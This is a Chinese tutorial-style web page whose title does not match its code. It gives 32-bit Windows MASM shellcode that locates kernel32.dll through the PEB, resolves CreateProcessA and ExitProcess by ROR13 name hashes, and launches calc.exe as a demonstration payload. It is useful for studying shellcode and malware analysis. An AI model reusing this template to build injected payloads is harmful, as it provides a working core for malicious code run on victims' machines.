linux 获取 基地址,win7/8/10通用获取kernel32基地址的shellcode代码

[Asm] 纯文本查看 复制代码.386

.model flat,stdcall

option casemap:none

include windows.inc

.code

start:

assume fs:nothing

push ebp

xor ecx,ecx

mov edx,dword ptr fs:[30h]

mov eax,dword ptr[edx+0Ch]

mov esi,dword ptr[eax+1Ch]

next_module:

mov ebp,dword ptr[esi+08h]

mov edi,dword ptr[esi+20h]

mov esi,dword ptr[esi]

xor eax,eax

add_kerstr:

add ax,word ptr[edi] ; 累加模块名字符串

cmp word ptr[edi],0

je judge

inc edi

inc edi

jmp add_kerstr

judge:

cmp ax,330h ; up 大写kernel32.dll

je got_it

cmp ax,450h ; low 小写kernel32.dll

jne next_module

got_it:

mov edi,ebp ;取得kernel32.dll基地址

push ebp

mov ebp,esp

sub esp,130h

mov dword ptr[ebp-04h],edi

push 16B3FE72h ;CreateProcessA

push dword ptr[ebp-04h]

call GetApiAddress

mov dword ptr[ebp-20h],eax

push 73E2D87Eh ;ExitProcess

push dword ptr[ebp-04h]

call GetApiAddress

mov dword ptr[ebp-24h],eax

mov dword ptr[ebp-12ch],636c6163h

mov dword ptr[ebp-128h],6578652eh

mov dword ptr[ebp-124h],0h

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

; CreateProcess calc.exe

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

lea edi,dword ptr[ebp-80h]

push edi

lea edi,dword ptr[ebp-80h]

xor eax,eax

mov ecx,44h

push ecx

rep stos byte ptr es:[edi]

pop ecx

lea edi,dword ptr[ebp-70h]

mov dword ptr[ebp-70h],ecx

push edi

push 0

push 0

push 8000000h

push 0

push 0

push 0

lea eax,dword ptr[ebp-12ch]

push eax ; calc.exe

push 0

call dword ptr[ebp-20h] ;CreateProcess

push 0

call dword ptr[ebp-24h] ;ExitProcess

GetApiAddress proc KernelBaseAddress:dword, EncryptNum:dword

LOCAL ReturnValue:dword

pushad

mov edi,KernelBaseAddress

mov eax,dword ptr[edi+3ch]

mov edx,dword ptr[edi+eax+78h] ;IMAGE_EXPORT_DIRECTORY

add edx,edi

mov ecx,dword ptr[edx+18h] ;名称导出的函数总数

mov ebx,dword ptr[edx+20h] ;函数名地址表

add ebx,edi

push edx ;保存edx

NotFound:

jecxz ExitGetApi

dec ecx

mov esi,dword ptr[ebx+ecx*4] ;从最后一个函数名开始查找 Address of names

add esi,edi

xor eax,eax

cdq

LoopChar:

lods byte ptr[esi]

test al,al

je CharEnd

ror edx,0dh ;对字符串进行hash运算

add edx,eax

jmp LoopChar

CharEnd:

cmp edx,EncryptNum

jnz NotFound

pop edx ; 恢复edx

mov ebx,dword ptr[edx+24h] ; 函数序号表 Address of name ordinals

add ebx,edi

mov cx,word ptr[ebx+ecx*2] ; 找到了函数的序号

mov ebx,dword ptr[edx+1ch] ; 函数地址表

add ebx,edi

add edi,dword ptr[ebx+ecx*4] ;由序号得出函数的rva

mov ReturnValue,edi

ExitGetApi:

popad

mov eax,ReturnValue

ret

GetApiAddress endp

end start